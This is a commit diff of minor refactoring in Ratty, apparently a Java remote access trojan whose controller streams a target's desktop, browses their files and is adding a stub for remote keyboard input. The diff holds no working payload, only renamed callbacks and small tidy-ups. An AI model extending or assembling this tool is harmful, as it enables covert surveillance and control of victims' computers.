Minor changes

Cleaned up

Ratty/src/de/sogomn/rat/ActiveClient.java

@@ -87,7 +87,7 @@ public final class ActiveClient extends TCPConnection {
 		}
 		
 		if (observer != null) {
-			observer.disconnected(this);
+			observer.clientDisconnected(this);
 		}
 	}
 	

Ratty/src/de/sogomn/rat/IClientObserver.java

@@ -6,6 +6,6 @@ public interface IClientObserver {
 	
 	void packetReceived(final ActiveClient client, final IPacket packet);
 	
-	void disconnected(final ActiveClient client);
+	void clientDisconnected(final ActiveClient client);
 	
 }

Ratty/src/de/sogomn/rat/Trojan.java

@@ -14,7 +14,7 @@ public final class Trojan implements IClientObserver {
 	}
 	
 	@Override
-	public void disconnected(final ActiveClient client) {
+	public void clientDisconnected(final ActiveClient client) {
 		final String address = client.getAddress();
 		final int port = client.getPort();
 		

Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@@ -29,6 +29,7 @@ public final class DisplayPanel {
 		screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
 		screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
 		screen.setBackgroundColor(Color.BLACK);
+		screen.addKeyboardListener(this::keyEvent);
 		screen.addListener(g -> {
 			g.drawImage(image, 0, 0, null);
 		});
@@ -36,6 +37,12 @@ public final class DisplayPanel {
 		return screen;
 	}
 	
+	private void keyEvent(final int key, final boolean flag) {
+		if (controller != null) {
+			//TODO
+		}
+	}
+	
 	private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) {
 		final Graphics2D g = image.createGraphics();
 		

Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@@ -27,6 +27,11 @@ import de.sogomn.rat.server.ActiveServer;
 import de.sogomn.rat.server.IServerObserver;
 import de.sogomn.rat.util.FrameEncoder.IFrame;
 
+/*
+ * THIS CLASS IS A MESS!
+ * I HAVE NO IDEA HOW ONE MAKES NON-MESSY CONTROLLER CLASSES
+ */
+
 public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController {
 	
 	private RattyGui gui;
@@ -213,7 +218,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 	}
 	
 	@Override
-	public void disconnected(final ActiveClient client) {
+	public void clientDisconnected(final ActiveClient client) {
 		final ServerClient serverClient = getServerClient(client);
 		final long id = serverClient.id;
 		
@@ -258,7 +263,9 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 			serverClient.setStreamingDesktop(false);
 			gui.setStreaming(lastIdClicked, false);
 		} else if (command == RattyGui.FILES) {
-			serverClient.getTreePanel().setVisible(true);
+			final FileTreePanel treePanel = serverClient.getTreePanel();
+			
+			treePanel.setVisible(true);
 		}
 	}